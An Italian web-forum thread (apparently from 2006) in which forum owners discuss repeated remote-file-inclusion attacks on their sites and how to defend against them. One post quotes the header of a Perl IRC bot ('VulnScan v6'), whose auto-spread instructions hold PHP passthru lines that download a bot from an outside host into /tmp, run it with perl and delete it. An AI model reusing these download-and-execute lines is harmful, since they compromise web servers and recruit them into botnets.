| Precedente :: Successivo |
| Autore |
Messaggio |
cuat
Newbie
Registrato: Nov 02, 2005
Messaggi: 144
|
|
| Torna in cima |
|
 |
rino
Amministratore
Registrato: Sep 28, 2004
Messaggi: 4617
Località: Anzio
|
 Inviato: 05-12-2006 03:18 Oggetto: |
 |
|
Non puoi fare niente anche perchè non è detto che siano stati loro ad attaccarti. Quello che è certo è che l'attacco è partito dal loro sito ma non è detto che loro sappiano che hanno quel file nel server. In parole povere questo tipo di attacco funziona così:
io deposito un file, di solito .txt sul tuo sito , per es. lo metto nei download oppure direttamente sul server se riesco ad accedervi.
Dentro quel file c'è lo script di attacco.
Poi preparo un url che richiama il tuo sito/ il file ed attacco qualsiasi sito. Chi riceve l'attacco vede che l'attacco proviene dal tuo sito ma tu, in effetti, non ne sai assolutamente nulla.
Pertanto vai sul sito turco e ,se hanno un feedback, informali che hai ricevuto l'attacco e vedi cosa rispondono. |
|
| Torna in cima |
|
|
cuat
Newbie
Registrato: Nov 02, 2005
Messaggi: 144
|
| Inviato: 06-12-2006 16:49 Oggetto: |
|
|
Ieri sera hanno riprovato la stringa di attacco è sempre la stessa.
Come faccio a sapere il nome del server su cui si trova il sito. |
|
| Torna in cima |
|
|
rc1351
Newbie
Registrato: Jun 24, 2006
Messaggi: 175
|
| Inviato: 06-12-2006 17:31 Oggetto: |
|
|
informazioni di Robco che ho interpellato
| Codice: |
# VulnScan v6 Stable By Morgan
#
# Note:
# DO NOT REMOVE COPYRIGHTS ...
# www.priv8.com.ar
#
#
# Greets to irc.gigachat.net :: #Morgan
#
#
# To work with auto-spread :
# Create a file named spread.txt with this :
#
# <?
# passthru('cd /tmp;wget http://priv8.com.ar/v6;perl v6;rm -f v6*');
# passthru('cd /tmp;curl -O http://priv8.com.ar/v6;perl v6;rm -f v6*');
# passthru('cd /tmp;lwp-download http://priv8.com.ar/v6;perl v6.txt;rm -f v6*');
# passthru('cd /tmp;lynx -source http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# passthru('cd /tmp;fetch http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# passthru('cd /tmp;GET http://priv8.com.ar/v6 >v6;perl v6;rm -f v6*');
# ?>
#
# Change the http://priv8.com.ar/v6 .. put ur bot url in that file
# then use the command :
#
# !morgan !eval @cmdstring='http://yoursite.com/spread.txt';
#
# or directly change it from the code..
#
# Mirc Scripting Addon for scan :
#
# http://tckct.co.uk/remote.txt
#
# Enjoy the bot ....
# /Morgan
|
questi i siti e nome di chi ha generato il file depositato sul server www.sohbetalevi.com , come avrai visto lo lanciano richiamando admin.php.
ergo (sempre suggerimento di Robco) rinominare file admin.php, inserire un sistema antihacking tipo il suo (non entri nel suo admin, almeno per ora , neanche se piangi in cinese), provate nel suo sito   |
|
| Torna in cima |
|
|
cuat
Newbie
Registrato: Nov 02, 2005
Messaggi: 144
|
| Inviato: 06-12-2006 18:16 Oggetto: |
|
|
il file admin.php l'ho rinominato sin da quando ho installato il sito poi credo di essere al sicuro perchè oltre alle varie patch ho il sentinel e hack alert plus installati.
Da me invece cercano di attaccare utilizzando il file admin_board.php
e se io lo rinomino?
Non li frego?
Solo che è un casino andare a cercare nei file del forums tutti quelli che richiamano il file admin_board.php |
|
| Torna in cima |
|
|
rc1351
Newbie
Registrato: Jun 24, 2006
Messaggi: 175
|
|
| Torna in cima |
|
|
|
FAQ
Cerca
Gruppi utenti
Profilo
Messaggi Privati
Login
